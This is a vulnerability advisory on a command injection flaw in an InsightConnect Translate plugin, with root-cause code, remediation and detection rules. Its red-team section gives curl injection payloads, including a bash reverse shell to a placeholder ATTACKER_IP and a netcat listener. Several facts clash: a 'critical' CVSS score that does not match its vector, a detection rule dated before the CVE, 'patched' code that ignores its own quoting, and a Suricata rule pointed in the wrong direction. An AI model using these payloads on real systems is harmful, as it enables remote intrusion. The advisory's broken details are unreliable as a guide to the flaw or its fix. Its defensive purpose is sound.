CVE-2026-8665

Executive Summary

CVE-2026-8665 is a critical OS Command Injection vulnerability in the TR (Translate) action of the Rapid7 InsightConnect Translate Plugin running on Linux. The flaw stems from insufficient input sanitization in shell command construction, allowing a remote, unauthenticated attacker to inject arbitrary OS commands via the text or expression parameters. With a CVSS score of 7.7, this vulnerability poses a severe risk to confidentiality, integrity, and availability. No public proof-of-concept or patch is currently available, but the attack vector is straightforward and requires no authentication.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – impact confined to the vulnerable component.
• Confidentiality (C): High (H) – full data access possible.
• Integrity (I): High (H) – full system modification possible.
• Availability (A): High (H) – full denial of service possible.

Threat Level: Critical. The combination of network exploitability, low complexity, and no authentication makes this a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability resides in the Translate Plugin’s TR action, which processes user-supplied text and expression parameters. The plugin constructs a shell command to perform translation operations without proper sanitization of these inputs. An attacker can inject shell metacharacters (e.g., ;, |, &&, `) to break out of the intended command and execute arbitrary OS commands.

Root Cause: The plugin uses a function like exec() or subprocess.Popen() with a string concatenation pattern, e.g., translate.sh --text "$text" --expression "$expression". If text is set to hello; id, the resulting command becomes translate.sh --text "hello; id" --expression "", causing the shell to execute id after the intended command.

Attack Flow:

1. Attacker identifies an InsightConnect instance with the Translate Plugin enabled.
2. Attacker sends a crafted HTTP request to the TR action endpoint with malicious payload in text or expression.
3. The plugin constructs a shell command with unsanitized input.
4. The injected command executes with the privileges of the InsightConnect process (typically root or a service account).
5. Attacker gains remote code execution, enabling data exfiltration, lateral movement, or ransomware deployment.

Vulnerable vs. Patched Code

Vulnerable Code (Python-like pseudocode):

import subprocess

def translate(text, expression):
    cmd = f"translate.sh --text '{text}' --expression '{expression}'"
    result = subprocess.check_output(cmd, shell=True)
    return result

Patched Code (Conceptual):

import subprocess
import shlex

def translate(text, expression):
    # Use shlex.quote to escape shell metacharacters
    safe_text = shlex.quote(text)
    safe_expression = shlex.quote(expression)
    cmd = f"translate.sh --text {safe_text} --expression {safe_expression}"
    # Avoid shell=True; use list form
    result = subprocess.check_output(["translate.sh", "--text", text, "--expression", expression])
    return result

Key Differences:

• The patched version uses shlex.quote() to escape shell metacharacters.
• It avoids shell=True by passing arguments as a list, preventing shell interpretation.
• Input validation (e.g., rejecting newlines or semicolons) is also recommended.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: Ubuntu 22.04 LTS with Rapid7 InsightConnect Translate Plugin (vulnerable version).
• Attacker: Kali Linux with curl/netcat.

Exploitation Steps:

1. Identify the TR action endpoint (e.g., http://target:8080/tr/translate).
2. Craft a payload to execute id:

   curl -X POST "http://target:8080/tr/translate" \
        -d "text=hello; id" \
        -d "expression="
   

3. For a reverse shell:

   curl -X POST "http://target:8080/tr/translate" \
        -d "text=hello; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" \
        -d "expression="
   

4. Listen on attacker machine:

   nc -lvnp 4444
   

Expected Output: The id command output appears in the HTTP response, or a reverse shell connects.

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /tr/translate with suspicious parameters containing shell metacharacters (;, |, &, `).
• Alert on unusual process execution from the InsightConnect service (e.g., id, bash, nc).
• Use the Sigma rule below to detect command injection attempts.

Mitigation:

• Immediately disable the Translate Plugin if not essential.
• Apply input validation: reject any input containing ;, |, &, `, $, (, ), {, }.
• Upgrade to a patched version once available.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /tr/translate with parameters containing shell metacharacters.
  • Outbound connections from InsightConnect server to unusual IPs/ports (e.g., 4444/tcp).
• Host:
  • Unexpected processes: id, whoami, bash, nc, python3 -c.
  • Files created in /tmp/ with suspicious names (e.g., .exploit.sh).
  • Log entries in /var/log/syslog showing shell command execution from InsightConnect.
• Logs:
  • Application logs showing translate.sh with injected commands.
  • Auditd logs for execve syscalls from the InsightConnect process.

Detection Engineering

YARA Rule

rule CVE_2026_8665_Command_Injection {
    meta:
        description = "Detects command injection attempts in HTTP requests to InsightConnect Translate Plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-8665"
    strings:
        $injection1 = /text=.*[;&|`$(){}]/
        $injection2 = /expression=.*[;&|`$(){}]/
        $path = "/tr/translate"
    condition:
        $path and ($injection1 or $injection2)
}

Sigma Rule

title: CVE-2026-8665 Command Injection in InsightConnect Translate Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects command injection attempts via text or expression parameters
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/tr/translate'
        cs-uri-query|contains:
            - 'text=*;'
            - 'text=*|'
            - 'text=*&'
            - 'expression=*;'
            - 'expression=*|'
            - 'expression=*&'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in translation text (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-8665 Command Injection in InsightConnect Translate Plugin";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/tr/translate"; http_uri;
    pcre:"/(text|expression)=[^&]*[;&|`$(){}]/i";
    sid:1000001;
    rev:1;
    reference:cve,2026-8665;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Translate Plugin if not critical to operations.
2. Apply input validation at the application layer: reject any input containing shell metacharacters.
3. Restrict network access to the InsightConnect web interface to trusted IPs only.

Long-Term Fix:

• Upgrade to a patched version of the Translate Plugin once released by Rapid7.
• Implement parameterized commands (avoid shell=True in Python, use execve with argument arrays).
• Conduct a security audit of all plugins for similar injection flaws.

Workaround:

• Use a Web Application Firewall (WAF) to block requests containing shell metacharacters in the text or expression parameters.

Valters IT
Securing digital frontiers with precision and expertise.